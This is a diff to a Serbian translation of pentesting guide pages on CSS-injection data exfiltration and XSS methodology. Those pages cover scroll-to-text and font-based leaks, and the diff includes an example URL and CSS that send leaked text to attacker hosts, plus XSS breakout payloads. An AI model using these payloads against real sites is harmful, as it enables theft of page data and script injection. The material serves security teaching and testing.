+Pseudo-klasa **`:target`** se koristi za izbor elementa na koji je ciljan **URL fragment**, kako je navedeno u [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Ključno je razumeti da `::target-text` ne odgovara nijednom elementu osim ako tekst nije eksplicitno ciljan fragmentom.
 
-Pojavljuje se sigurnosni problem kada napadači iskorišćavaju **Scroll-to-text** fragment feature, što im omogućava da potvrde prisustvo određenog teksta na veb-stranici tako što učitaju resurs sa svog servera putem HTML injection. Metoda uključuje injektovanje CSS pravila kao ovo:
+Pojavljuje se bezbednosni problem kada napadači iskoriste **Scroll-to-text** fragment feature, što im omogućava da potvrde prisustvo specifičnog teksta na veb-stranici učitavanjem resursa sa svog servera putem HTML injekcije. Metod uključuje ubacivanje CSS pravila kao što je ovo:
 ```css
 :target::before {
 content: url(target.png);
 }
 ```
-U takvim scenarijima, ako se na stranici nalazi tekst "Administrator", za resurs `target.png` se šalje zahtev serveru, što ukazuje na prisustvo tog teksta. Primer ovog napada može se izvesti putem posebno konstruisanog URL-a koji ugrađuje injektovani CSS zajedno sa Scroll-to-text fragmentom:
+U takvim scenarijima, ako je tekst "Administrator" prisutan na stranici, resurs `target.png` se zahteva sa servera, što ukazuje na prisustvo teksta. Instanca ovog napada može se izvesti putem posebno oblikovanog URL-a koji ugrađuje injektovani CSS zajedno sa Scroll-to-text fragmentom:
 ```
 http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
 ```
-Ovde napad manipuliše HTML injection-om da prenese CSS kod, ciljajući na specifičan tekst "Administrator" preko Scroll-to-text fragment (`#:~:text=Administrator`). Ako je taj tekst pronađen, označeni resurs se učitava, nenamerno signalizirajući njegovu prisutnost napadaču.
+Ovde napad manipuliše HTML injection-om da prenese CSS kod, ciljajući specifičan tekst "Administrator" putem Scroll-to-text fragment (`#:~:text=Administrator`). Ako se tekst pronađe, naznačeni resurs se učitava, nenamerno signalizirajući njegovu prisutnost napadaču.
 
-Za mitigaciju treba napomenuti sledeće tačke:
+Za ublažavanje rizika treba imati u vidu sledeće:
 
-1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) je dizajniran da se poklapa samo sa rečima ili rečenicama, čime se ograničava njegova sposobnost da leak proizvoljnih tajni ili tokena.
-2. **Restriction to Top-level Browsing Contexts**: STTF radi isključivo u top-level browsing contexts i ne funkcioniše unutar iframes, što svaki pokušaj eksploatacije čini uočljivijim korisniku.
-3. **Necessity of User Activation**: STTF zahteva user-activation gesture da bi funkcionisao, što znači da su eksploatacije izvodljive samo preko navigacija iniciranih od strane korisnika. Ovaj zahtev značajno smanjuje rizik da napadi budu automatizovani bez interakcije korisnika. Ipak, autor blog posta ukazuje na specifične uslove i bypass-e (npr. social engineering, interakcija sa široko korišćenim browser extensions) koji mogu olakšati automatizaciju napada.
+1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) je dizajniran da pogađa samo reči ili rečenice, čime se ograničava njegova sposobnost da leak proizvoljne tajne ili tokene.
+2. **Restriction to Top-level Browsing Contexts**: STTF funkcioniše isključivo u top-level browsing contexts i ne radi unutar iframes, zbog čega svaki pokušaj exploitation postaje uočljiviji korisniku.
+3. **Necessity of User Activation**: STTF zahteva user-activation gesture da bi radio, što znači da su exploitations izvodljive samo kroz navigacije pokrenute od strane korisnika. Ovaj zahtev znatno ublažava rizik da napadi budu automatizovani bez interakcije korisnika. Ipak, autor blog posta ukazuje na specifične uslove i bypasses (npr. social engineering, interakcija sa raširenim browser extensions) koji mogu olakšati automatizaciju attacka.
 
-Svest o ovim mehanizmima i potencijalnim ranjivostima ključna je za održavanje web bezbednosti i zaštitu od ovakvih eksploatacionih taktika.
+Razumevanje ovih mehanizama i potencijalnih ranjivosti ključno je za održavanje web sigurnosti i zaštitu od takvih eksploatativnih taktika.
 
 Za više informacija pogledajte originalni izveštaj: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
 
-You can check an [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
+Možete pogledati an [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
 
 ### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
 
-Možete specificirati **eksterne fontove za određene unicode vrednosti** koji će biti **dohvaćeni samo ako te unicode vrednosti postoje** na stranici. Na primer:
+Možete odrediti **eksterne fontove za određene unicode vrednosti** koji će biti **učitani samo ako su te unicode vrednosti prisutne** na stranici. Na primer:
 ```html
 <style>
 @font-face {
@@ -242,25 +242,25 @@ font-family: poc;
 <p id="sensitive-information">AB</p>
 htm
 ```
-Kada pristupite ovoj stranici, Chrome and Firefox preuzimaju "?A" i "?B" zato što text node od sensitive-information sadrži "A" i "B" karaktere. Ali Chrome and Firefox ne preuzimaju "?C" jer ne sadrži "C". To znači da smo uspeli da pročitajemo "A" i "B".
+When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
 
 ### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
 
-**Referenca:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
+**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
 
-Tehnika opisana uključuje izvlačenje teksta iz noda iskorišćavanjem font ligatura i praćenjem promena u širini. Proces obuhvata nekoliko koraka:
+Tehnika opisana ovde uključuje izdvajanje teksta iz čvora iskorišćavanjem font ligatura i praćenjem promena širine. Proces se sastoji iz nekoliko koraka:
 
-1. **Kreiranje prilagođenih fontova**:
+1. **Creation of Custom Fonts**:
 
-- SVG fontovi se prave sa glyphovima koji imaju atribut `horiz-adv-x`, koji postavlja veliku širinu za glyph koji predstavlja niz od dva karaktera.
-- Primer SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, gde "XY" označava niz od dva karaktera.
-- Ovi fontovi se zatim konvertuju u woff format koristeći fontforge.
+- SVG fonts se prave sa glyph-ovima koji imaju atribut `horiz-adv-x`, koji postavlja veliku širinu za glif koji predstavlja dvocarakterni niz.
+- Primer SVG glifa: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, gde "XY" označava dvocarakterni niz.
+- Ti fontovi se zatim konvertuju u woff format koristeći fontforge.
 
-2. **Detekcija promena širine**:
+2. **Detection of Width Changes**:
 
-- CSS se koristi da se obezbedi da se tekst ne prelama (`white-space: nowrap`) i da bi se prilagodio stil scrollbar-a.
-- Pojava horizontalnog scrollbar-a, stilizovanog na specifičan način, deluje kao indikator (oracle) da je određena ligatura, a samim tim i određeni niz karaktera, prisutan u tekstu.
-- Uključeni CSS:
+- CSS se koristi da se osigura da se tekst ne prelama (`white-space: nowrap`) i da se prilagodi stil scrollbar-a.
+- Pojava horizontalnog scrollbar-a, stilizovanog na poseban način, deluje kao indikator (oracle) da je određena ligatura, i samim tim određeni sekvenca karaktera, prisutna u tekstu.
+- Upleteni CSS:
 ```css
 body {
 white-space: nowrap;
@@ -273,30 +273,30 @@ background: url(http://attacker.com/?leak);
 }
 ```
 
-3. **Proces exploita**:
+3. **Exploit Process**:
 
-- **Korak 1**: Fontovi se kreiraju za parove karaktera sa znatnom širinom.
-- **Korak 2**: Koristi se trik zasnovan na scrollbar-u da se detektuje kada se renderuje glyph velike širine (ligatura za par karaktera), što ukazuje na prisustvo tog niza karaktera.
-- **Korak 3**: Po detekciji ligature, generišu se novi glyphovi koji predstavljaju nizove od tri karaktera, uključujući detektovani par i dodajući prethodni ili naredni karakter.
-- **Korak 4**: Sprovodi se detekcija ligature od tri karaktera.
-- **Korak 5**: Proces se ponavlja, postupno otkrivajući ceo tekst.
+- **Step 1**: Prave se fontovi za parove karaktera sa velikom širinom.
+- **Step 2**: Koristi se trik sa scrollbar-om da se detektuje kada se veliki glif (ligatura za par karaktera) renderuje, što ukazuje na prisustvo te sekvence karaktera.
+- **Step 3**: Po detekciji ligature, generišu se novi glifovi koji predstavljaju trokarakternе sekvence, uključujući detektovani par i dodajući prethodni ili sledeći karakter.
+- **Step 4**: Vrši se detekcija trokarakterne ligature.
+- **Step 5**: Proces se ponavlja i postepeno otkriva ceo tekst.
 
-4. **Optimizacija**:
+4. **Optimization**:
 - Trenutna metoda inicijalizacije koja koristi `<meta refresh=...` nije optimalna.
-- Efikasniji pristup bi mogao uključivati CSS `@import` trik, poboljšavajući performanse exploita.
+- Efikasniji pristup bi mogao uključivati CSS `@import` trik, što bi poboljšalo performanse exploita.
 
 ### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Referenca:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
+**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
 
-Ovaj trik je objavljen u ovoj [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Charset koji se koristi u text node može biti leaked **koristeći default fonts** instalirane u browseru: nisu potrebni eksterni -ili prilagođeni- fontovi.
+Ovaj trik je objavljen u ovom [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Charset koji se koristi u text node-u može biti leaked **koristeći default fontove** instalirane u pregledaču: nisu potrebni eksterni ili prilagođeni fontovi.
 
-Koncept se zasniva na korišćenju animacije koja postepeno širi širinu `div`-a, dopuštajući po jednom karakteru da pređe iz 'suffix' dela teksta u 'prefix' deo. Ovaj proces efektivno deli tekst na dve sekcije:
+Koncept se zasniva na korišćenju animacije da se postepeno proširuje širina `div`-a, dopuštajući po jednom karakteru da pređe iz 'suffix' dela teksta u 'prefix' deo. Ovaj proces efikasno deli tekst na dva dela:
 
-1. Prefix: početni red.
-2. Suffix: naredni red(ovi).
+1. **Prefix**: početni red.
+2. **Suffix**: naredni red(ovi).
 
-Faze tranzicije karaktera bi izgledale ovako:
+Faze tranzicije karaktera izgledale bi ovako:
 
 **C**\
 ADB
@@ -309,15 +309,15 @@ B
 
 **CADB**
 
-Tokom ove tranzicije, koristi se **unicode-range trick** da se identifikuje svaki novi karakter kada se pridruži prefiksu. Ovo se postiže promenom fonta u Comic Sans, koji je znatno viši od default fonta, što posredno izaziva pojavu vertikalnog scrollbar-a. Pojava ovog scrollbar-a indirektno otkriva prisustvo novog karaktera u prefiksu.
+Tokom ove tranzicije koristi se **unicode-range trick** da se identifikuje svaki novi karakter kada se pridruži prefix-u. Ovo se postiže prebacivanjem fonta na Comic Sans, koji je primetno viši od default fonta, što zauzvrat pokreće vertikalni scrollbar. Pojava tog scrollbar-a indirektno otkriva prisustvo novog karaktera u prefix-u.
 
-Iako ova metoda omogućava detekciju jedinstvenih karaktera kako se pojavljuju, ona ne specificira koji karakter se ponavlja — samo da je došlo do ponavljanja.
+Iako ova metoda omogućava detekciju jedinstvenih karaktera kako se pojavljuju, ne navodi koji se karakter ponavlja, već samo da je došlo do ponavljanja.
 
 > [!TIP]
-> U suštini, **unicode-range is used to detect a char**, ali pošto ne želimo da učitavamo eksterni font, treba naći drugi način.\
-> Kada je **char** **found**, njemu se dodeljuje pre-instalirani **Comic Sans font**, koji **čini** char **većim** i **pokreće scroll bar** koji će **leak the found char**.
+> U suštini, **unicode-range se koristi da detektuje char**, ali pošto ne želimo da učitavamo eksterni font, moramo naći drugi način.\
+> Kada je **char** **pronađen**, dodeljuje mu se preinstalirani **Comic Sans font**, koji čini char **većim** i **pokreće scrollbar** koji će **leak-ovati pronađeni char**.
 
-Proverite kod izvučen iz PoC:
+Check the code extracted from the PoC:
 ```css
 /* comic sans is high (lol) and causes a vertical overflow */
 @font-face {
@@ -746,13 +746,13 @@ background: blue var(--leak);
 
 **Reference:** Ovo je pomenuto kao [neuspešno rešenje u ovom writeupu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
-Ovaj slučaj je veoma sličan prethodnom, međutim, ovde je cilj da određeni **znakovi budu veći od drugih kako bi se nešto sakrilo** — na primer dugme koje bot ne bi trebalo da pritisne ili slika koja se neće učitati. Tako možemo izmeriti akciju (ili izostanak akcije) i saznati da li se određeni znak nalazi u tekstu.
+Ovaj slučaj je veoma sličan prethodnom, međutim, ovde je cilj da se određeni **chars povećaju više od drugih kako bi se nešto sakrilo** — na primer dugme koje bot ne bi trebalo da pritisne ili slika koja se neće učitati. Na taj način možemo izmeriti radnju (ili izostanak radnje) i saznati da li se određeni char nalazi u tekstu.
 
 ### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
 **Reference:** Ovo je pomenuto kao [neuspešno rešenje u ovom writeupu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
-U ovom slučaju mogli bismo pokušati leak da bismo utvrdili da li se određeni znak nalazi u tekstu učitavanjem lažnog fonta iz same origin:
+U tom slučaju možemo pokušati da leak da li se određeni char nalazi u tekstu učitavanjem lažnog fonta iz istog origin-a:
 ```css
 @font-face {
 font-family: "A1";
@@ -760,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
 unicode-range: U+0041;
 }
 ```
-If there is a match, the **font will be loaded from `/static/bootstrap.min.css?q=1`**. Although it won’t load successfully, the **browser should cache it**, and even if there is no cache, there is a **304 not modified** mechanism, so the **response should be faster** than other things.
+Ako postoji podudaranje, **font će biti učitan sa `/static/bootstrap.min.css?q=1`**. Iako se neće uspešno učitati, **pregledač bi trebalo da ga kešira**, i čak i ako nema keša, postoji mehanizam **304 not modified**, tako da bi **odgovor trebao biti brži** nego ostale stvari.
 
-However, if the time difference of the cached response from the non-cached one isn't big enough, this won't be useful. For example, the author mentioned: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the `disk-cache-size=1` flag, which is really thoughtful.
+Međutim, ako vremenska razlika između keširanog odgovora i ne-keširanog nije dovoljno velika, ovo neće biti korisno. Na primer, autor je pomenuo: "Međutim, nakon testiranja, otkrio sam da je prvi problem što brzina nije mnogo drugačija, a drugi problem je što bot koristi `disk-cache-size=1` flag, što je zaista promišljeno."
 
 ### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Reference:** O ovome se pominje kao [neuspešno rešenje u ovom writeupu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
+**Referenca:** Ovo je pomenuto kao [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
-In this case you can indicate **CSS to load hundreds of fake fonts** from the same origin when a match occurs. This way you can **measure the time** it takes and find out if a char appears or not with something like:
+U ovom slučaju možete specificirati **CSS koji učitava stotine lažnih fontova** sa istog origin-a kada se dogodi podudaranje. Na ovaj način možete **izmeriti vreme** koje je potrebno i otkriti da li se neki karakter pojavljuje ili ne pomoću nečega poput:
 ```css
 @font-face {
 font-family: "A1";
@@ -783,9 +783,9 @@ browser.get(url)
 WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
 time.sleep(30)
 ```
-Dakle, ako font ne odgovara, očekivano je da će vreme odgovora prilikom posećivanja bota biti otprilike 30 sekundi. Međutim, ako postoji poklapanje fonta, biće poslato više zahteva za preuzimanje fonta, što će izazvati kontinuiranu mrežnu aktivnost. Kao rezultat toga, biće potrebno više vremena da se zadovolji uslov za zaustavljanje i primi odgovor. Zato se vreme odgovora može koristiti kao indikator za utvrđivanje da li postoji poklapanje fonta.
+Dakle, ako font ne odgovara, očekivano vreme odgovora pri poseti botu je približno 30 sekundi. Međutim, ako postoji podudaranje fonta, biće poslati višestruki zahtevi za preuzimanje fonta, što izaziva kontinuiranu mrežnu aktivnost. Zbog toga će biti potrebno duže da se ispuni uslov za zaustavljanje i da se primi odgovor. Stoga se vreme odgovora može koristiti kao indikator za utvrđivanje da li postoji podudaranje fonta.
 
-## References
+## Reference
 
 - [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
 - [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)

src/pentesting-web/xss-cross-site-scripting/README.md

@@ -4,63 +4,63 @@
 
 ## Metodologija
 
-1. Proveri da li je **bilo koja vrednost kojom upravljaš** (_parameters_, _path_, _headers_?, _cookies_?) **reflektovana** u HTML-u ili **korišćena** u **JS** kodu.
-2. Utvrdi **kontekst** u kome se reflektuje/korišćen je tvoj input.
+1. Proveri da li se **bilo koja vrednost koju kontrolišeš** (_parameters_, _path_, _headers_?, _cookies_?) **reflektuje** u HTML-u ili se **koristi** u **JS** kodu.
+2. **Pronađi kontekst** u kome je reflektovano/korisćeno.
 3. Ako je **reflektovano**
-1. Proveri **koje simbole možeš da koristiš** i u zavisnosti od toga, pripremi payload:
+1. Proveri **koje simbole možeš koristiti** i u zavisnosti od toga, pripremi payload:
 1. U **raw HTML**:
-1. Možeš li da kreiraš nove HTML tagove?
-2. Možeš li da koristiš event-e ili atribute koji podržavaju `javascript:` protokol?
-3. Možeš li da zaobiđeš zaštite?
-4. Da li HTML sadržaj interpretira neki client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), u tom slučaju možeš zloupotrebiti [**Client Side Template Injection**](../client-side-template-injection-csti.md).
-5. Ako ne možeš da kreiraš HTML tagove koji izvršavaju JS kod, možeš li zloupotrebiti [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
+1. Možeš li kreirati nove HTML tagove?
+2. Možeš li koristiti evente ili atribute koji podržavaju `javascript:` protocol?
+3. Možeš li zaobići zaštite?
+4. Da li se HTML sadržaj interpretira kroz neki client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), koji bi mogaoš zloupotrebiti kroz [**Client Side Template Injection**](../client-side-template-injection-csti.md).
+5. Ako ne možeš kreirati HTML tagove koji izvršavaju JS kod, možeš li zloupotrebiti [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
 2. Unutar **HTML taga**:
-1. Možeš li da izađeš u raw HTML kontekst?
-2. Možeš li da kreiraš nove event-e/atribute za izvršavanje JS koda?
-3. Da li atribut u kome si "zarobljen" podržava izvršavanje JS-a?
-4. Možeš li da zaobiđeš zaštite?
+1. Možeš li izaći u raw HTML kontekst?
+2. Možeš li kreirati nove evente/atribute koji izvršavaju JS kod?
+3. Da li atribut u kome si zarobljen podržava izvršavanje JS?
+4. Možeš li zaobići zaštite?
 3. Unutar **JavaScript koda**:
-1. Možeš li da izađeš iz `<script>` taga?
-2. Možeš li da escape-uješ string i izvršiš drugačiji JS kod?
-3. Da li su tvoji input-i u template literalima ``?
-4. Možeš li da zaobiđeš zaštite?
-4. Javascript **funkcija** koja se **izvršava**
-1. Možeš navesti ime funkcije za izvršavanje. npr.: `?callback=alert(1)`
-4. Ako je **korišćeno**:
-1. Možeš iskoristiti **DOM XSS**, obrati pažnju kako je tvoj input kontrolisan i da li se tvoj kontrolisani input koristi u nekom sinku.
+1. Možeš li pobjeći iz `<script>` taga?
+2. Možeš li pobjeći iz stringa i izvršiti drugačiji JS kod?
+3. Da li je tvoj input u template literal-ima \`\`?
+4. Možeš li zaobići zaštite?
+4. Javascript **funkcija** koja se **izvodi**
+1. Možeš navesti ime funkcije koju treba izvršiti. npr.: `?callback=alert(1)`
+4. Ako je **korisćeno**:
+1. Mogao bi iskoristiti **DOM XSS**, obrati pažnju kako je tvoj input kontrolisan i da li se tvoj **kontrolisani input koristi od strane nekog sinka.**
 
-Kada radiš na kompleksnom XSS-u može ti biti korisno znati o:
+Kada radiš na kompleksnom XSS-u može ti biti interesantno da pogledaš:
 
 
 {{#ref}}
 debugging-client-side-js.md
 {{#endref}}
 
-## Reflektovane vrednosti
+## Reflected values
 
-Da bi uspešno eksploatisao XSS, prvo što treba da pronađeš je **vrednost kojom upravljaš koja se reflektuje** na web stranici.
+Da bi uspešno eksploatisao XSS, prva stvar koju treba da nađeš je **vrednost koju kontrolišeš i koja se reflektuje** na web stranici.
 
-- **Intermediately reflected**: Ako utvrdiš da se vrednost parametra ili čak path reflektuje na stranici, možeš eksploatisati **Reflected XSS**.
-- **Stored and reflected**: Ako se vrednost koju kontrolišeš čuva na serveru i reflektuje svaki put kada pristupiš stranici, možeš eksploatisati **Stored XSS**.
-- **Accessed via JS**: Ako se vrednost kojom upravljaš pristupa preko JS-a, možeš eksploatisati **DOM XSS**.
+- **Intermediately reflected**: Ako primetiš da se vrednost parametra ili čak path reflektuje na stranici, možeš iskoristiti **Reflected XSS**.
+- **Stored and reflected**: Ako se vrednost koju kontrolišeš čuva na serveru i reflektuje svaki put kad pristupiš stranici, možeš iskoristiti **Stored XSS**.
+- **Accessed via JS**: Ako se vrednost koju kontrolišeš pristupa pomoću JS-a, možeš iskoristiti **DOM XSS**.
 
 ## Konteksti
 
-Pri pokušaju eksploatacije XSS-a prvo što treba da znaš je gde se tvoj input reflektuje. U zavisnosti od konteksta, moći ćeš da izvršavaš proizvoljan JS kod na različite načine.
+Kada pokušavaš da iskoristiš XSS, prva stvar koju treba da znaš je **gde se tvoj input reflektuje**. U zavisnosti od konteksta, moći ćeš na različite načine izvršiti proizvoljni JS kod.
 
 ### Raw HTML
 
-Ako se tvoj input reflektuje u raw HTML stranici, moraćeš da iskoristiš neki HTML tag da bi izvršio JS kod: <img , <iframe , <svg , <script ... ovo su samo neki od mnogih mogućih HTML tagova koje možeš iskoristiti.\
+Ako se tvoj input **reflektuje u raw HTML-u** stranice, moraćeš da zloupotrebiš neki **HTML tag** da bi izvršio JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih mogućih HTML tagova koje možeš koristiti.\
 Takođe, imaj na umu [Client Side Template Injection](../client-side-template-injection-csti.md).
 
 ### Unutar atributa HTML taga
 
 Ako se tvoj input reflektuje unutar vrednosti atributa taga, možeš pokušati:
 
-1. Da izađeš iz atributa i iz taga (tada ćeš biti u raw HTML) i kreiraš novi HTML tag za zloupotrebu: `"><img [...]`
-2. Ako možeš da izađeš iz atributa ali ne i iz taga (`>` je enkodovan ili obrisan), u zavisnosti od taga možeš kreirati event koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
-3. Ako ne možeš da izađeš iz atributa (`"` se enkoduje ili briše), onda, u zavisnosti od toga u kom atributu se tvoja vrednost reflektuje i da li kontrolišeš celu vrednost ili samo deo, moći ćeš da je zloupotrebiš. Na primer, ako kontrolišeš event kao što je `onclick=` moći ćeš da nateraš da se izvrši proizvoljan kod kada se klikne. Još jedan interesantan primer je atribut `href`, gde možeš koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
-4. Ako se tvoj input reflektuje unutar "neeksploatabilnih tagova" možeš probati `accesskey` trik da zloupotrebiš ranjivost (trebaće ti neka vrsta social engineering-a da ovo iskoristiš): **`" accesskey="x" onclick="alert(1)" x="`**
+1. Da **izbaciš se iz atributa i iz taga** (tada ćeš biti u raw HTML-u) i kreiraš novi HTML tag za zloupotrebu: `"><img [...]`
+2. Ako **možeš izaći iz atributa ali ne i iz taga** (`>` je enkodiran ili obrisan), u zavisnosti od taga možeš **kreirati event** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
+3. Ako **ne možeš izaći iz atributa** (`"` je enkodirano ili obrisano), onda u zavisnosti od **kojeg atributa** se tvoja vrednost reflektuje i **da li kontrolišeš celu vrednost ili samo njen deo** biće ti moguće da ga zloupotrebiš. Na **primer**, ako kontrolišeš event kao `onclick=` moći ćeš da ga nateraš da izvrši proizvoljan kod kada se klikne. Drugi interesantan **primer** je atribut `href`, gde možeš koristiti `javascript:` protokol da izvršiš proizvoljan kod: **`href="javascript:alert(1)"`**
+4. Ako se tvoj input reflektuje unutar "**neeksploatabilnih tagova**" možeš pokušati trik sa **`accesskey`** da zloupotrebiš ranjivost (biće ti potrebna neka vrsta social engineering-a da ovo iskoristiš): **`" accesskey="x" onclick="alert(1)" x="`**
 
 Čudan primer Angular-a koji izvršava XSS ako kontrolišeš ime klase:
 ```html
@@ -70,15 +70,15 @@ Ako se tvoj input reflektuje unutar vrednosti atributa taga, možeš pokušati:
 ```
 ### Unutar JavaScript koda
 
-U ovom slučaju vaš unos se reflektuje između **`<script> [...] </script>`** tagova HTML stranice, unutar `.js` fajla ili unutar atributa koji koristi **`javascript:`** protokol:
+U tom slučaju vaš unos se reflektuje između **`<script> [...] </script>`** tagova HTML stranice, unutar `.js` fajla ili unutar atributa koji koristi **`javascript:`** protokol:
 
-- Ako se reflektuje između **`<script> [...] </script>`** tagova, čak i ako je vaš unos unutar bilo koje vrste navodnika, možete pokušati da ubacite `</script>` i izađete iz tog konteksta. Ovo funkcioniše jer **pregledač će prvo parsirati HTML tagove** pa zatim sadržaj, dakle, neće primetiti da je vaš ubačeni `</script>` tag unutar HTML koda.
-- Ako se reflektuje **unutar JS stringa** i poslednji trik ne radi, moraćete da **izađete** iz stringa, **izvršite** svoj kod i **rekonstruišete** JS kod (ako postoji neka greška, on neće biti izvršen:
+- Ako je reflektovano između **`<script> [...] </script>`** tagova, čak i ako je vaš unos unutar bilo kojih navodnika, možete pokušati da injektujete `</script>` i pobegnete iz tog konteksta. Ovo radi zato što **pregledač će prvo parsirati HTML tagove** a zatim sadržaj, te neće primetiti da je vaš ubrizgani `</script>` tag unutar HTML koda.
+- Ako je reflektovano **unutar JS stringa** i prethodni trik ne radi, moraćete da **izađete** iz stringa, **izvršite** svoj kod i **rekonstrušete** JS kod (ako ima greške, neće biti izvršen):
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
-- Ako se reflektuje unutar template literals možete **ugraditi JS izraze** koristeći `${ ... }` sintaksu: `` var greetings = `Hello, ${alert(1)}` ``
-- **Unicode encode** radi za pisanje **valid javascript code**:
+- Ako je reflektovano unutar template literals možete **ubaciti JS izraze** koristeći `${ ... }` sintaksu: `` var greetings = `Hello, ${alert(1)}` ``
+- **Unicode enkodiranje** funkcioniše za pisanje **validnog javascript koda**:
 ```javascript
 alert(1)
 alert(1)
@@ -86,8 +86,8 @@ alert(1)
 ```
 #### Javascript Hoisting
 
-Javascript Hoisting references the opportunity to **declare functions, variables or classes after they are used so you can abuse scenarios where a XSS is using undeclared variables or functions.**\
-**Check the following page for more info:**
+Javascript Hoisting references the opportunity to **deklarisati funkcije, promenljive ili klase nakon što su korišćene, kako biste mogli iskoristiti scenarije u kojima XSS koristi nedeklarisane promenljive ili funkcije.**\
+**Pogledajte sledeću stranicu za više informacija:**
 
 
 {{#ref}}
@@ -96,19 +96,19 @@ js-hoisting.md
 
 ### Javascript Function
 
-Several web pages have endpoints that **accept as parameter the name of the function to execute**. A common example to see in the wild is something like: `?callback=callbackFunc`.
+Mnoge web stranice imaju endpoints koji **prihvataju kao parametar ime funkcije koju treba izvršiti**. Čest primer u divljini je nešto poput: `?callback=callbackFunc`.
 
-A good way to find out if something given directly by the user is trying to be executed is **modifying the param value** (for example to 'Vulnerable') and looking in the console for errors like:
+Dobar način da otkrijete da li se nešto što korisnik direktno unese pokušava izvršiti je **izmeniti vrednost parametra** (na primer u 'Vulnerable') i posmatrati konzolu za greške poput:
 
 ![](<../../images/image (711).png>)
 
-In case it's vulnerable, you could be able to **trigger an alert** just doing sending the value: **`?callback=alert(1)`**. However, it' very common that this endpoints will **validate the content** to only allow letters, numbers, dots and underscores (**`[\w\._]`**).
+Ako je ranjiv, mogli biste uspeti da **pokrenete alert** samo slanjem vrednosti: **`?callback=alert(1)`**. Međutim, veoma je često da ovi endpoints **validiraju sadržaj** da dozvole samo slova, brojeve, tačke i donje crte (**`[\w\._]`**).
 
-However, even with that limitation it's still possible to perform some actions. This is because you can use that valid chars to **access any element in the DOM**:
+Međutim, čak i sa tom ograničenjem još uvek je moguće sprovesti neke akcije. To je zato što možete iskoristiti te dozvoljene karaktere da **pristupite bilo kom elementu u DOM-u**:
 
 ![](<../../images/image (747).png>)
 
-Some useful functions for this:
+Neke korisne funkcije za ovo su:
 ```
 firstElementChild
 lastElementChild
@@ -116,11 +116,11 @@ nextElementSibiling
 lastElementSibiling
 parentElement
 ```
-Možete takođe pokušati da direktno **pokrenete Javascript funkcije**: `obj.sales.delOrders`.
+Takođe možete pokušati da direktno покренете **Javascript functions**: `obj.sales.delOrders`.
 
